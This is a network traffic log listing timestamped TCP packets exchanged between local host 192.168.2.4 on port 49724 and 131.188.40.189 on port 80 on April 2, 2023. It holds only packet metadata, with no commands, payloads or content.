Apr 2, 2023 09:51:05.897655964 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897661924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897694111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897696018 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897716045 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897722960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897747040 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897778034 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897784948 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897814035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897834063 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897842884 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897872925 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897876024 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897901058 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897902966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897923946 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897932053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.897993088 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.897999048 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.898024082 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.898055077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.898061991 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.898087978 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.898128033 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.898803949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.898869991 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899060965 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899087906 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899117947 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899125099 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899148941 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899151087 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899200916 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899303913 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899389982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899477959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899504900 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899602890 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899652004 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899656057 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899713039 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899725914 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899760962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899768114 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899821997 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899825096 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899852037 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899890900 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899904013 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899913073 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.899930000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899952888 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899983883 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.899986982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900007010 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900015116 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900041103 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900046110 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900079012 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900125027 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900145054 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900168896 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900202036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900214911 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900216103 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900240898 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900243998 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900255919 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900271893 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900300026 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900321007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900327921 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900346041 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900371075 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900398016 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900399923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.900430918 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.900465012 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.906513929 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.918828011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.918911934 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.918922901 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919006109 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919013023 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919054985 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919101000 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919121027 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919157982 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919233084 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919236898 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919301033 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919316053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919372082 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919399977 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919449091 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919465065 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919491053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919540882 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919543028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919584990 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919620991 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919621944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919661999 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919723034 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919740915 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919800997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919841051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919889927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919893980 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.919934034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.919936895 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.920011997 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.920254946 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.927088976 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927145004 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927182913 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.927202940 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927257061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927294016 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.927362919 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927409887 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927440882 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.927464008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927511930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927534103 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.927691936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927742004 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927793980 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.927803040 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927850962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927872896 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.927905083 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.927978992 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.928005934 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928050995 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928093910 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928137064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928193092 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.928236961 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.928250074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928297043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928340912 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928390026 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928428888 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.928466082 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.928503990 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928553104 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928608894 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928690910 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.928816080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928865910 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928908110 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.928925991 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.928973913 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929035902 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.929085016 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929136038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929167032 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.929191113 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929246902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929254055 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.929312944 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929377079 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.929404020 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929451942 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929497957 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929553032 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929590940 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.929636002 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.929658890 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929704905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929752111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929799080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.929867983 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.929896116 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.929987907 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.930042028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.930068016 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.930114031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.930174112 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.930218935 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.930222034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.930273056 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.930318117 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.930399895 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.930468082 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.930557013 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.940720081 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.940759897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.940793991 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.940845013 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.940866947 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.940917969 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.940920115 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.940957069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.940990925 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941057920 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941093922 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.941122055 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.941142082 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941179991 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941215038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941250086 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.941258907 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941324949 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.941339970 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941378117 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941411972 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941450119 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.941454887 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941514015 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.941721916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941756964 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941791058 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941828966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941885948 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.941885948 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.941911936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941946983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.941982031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942011118 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.942020893 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942059994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942102909 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.942135096 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942169905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942209959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942220926 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.942257881 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942264080 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.942342997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942379951 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942410946 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.942421913 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942456961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942492008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942521095 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.942538977 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.942574024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942609072 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942642927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942687035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942704916 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.942739964 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942804098 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.942825079 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942861080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942894936 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.942903996 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942939997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.942986012 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943001032 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943057060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943061113 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943092108 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943124056 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943150997 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943162918 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943228960 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943240881 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943275928 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943310022 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943341017 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943350077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943386078 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943433046 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943470001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943502903 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943540096 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943564892 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943578959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943602085 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943622112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943691015 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943706036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943770885 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943804979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943844080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943871975 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943912983 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.943921089 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943954945 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.943989038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944017887 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944029093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944088936 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944116116 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944149017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944180965 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944221973 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944222927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944256067 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944277048 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944304943 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944363117 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944370031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944403887 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944434881 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944470882 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944489002 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944514036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944530010 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944555044 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944591045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944611073 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944628954 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944664955 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944684029 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944703102 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944739103 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944772959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944792986 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944812059 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944859028 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944864035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944901943 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944917917 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.944941044 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.944974899 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945008993 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945029020 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945045948 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945067883 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945084095 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945116043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945147038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945173979 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945185900 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945214987 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945225954 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945259094 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945291996 CEST	80	49724	131.188.40.189	192.168.2.4
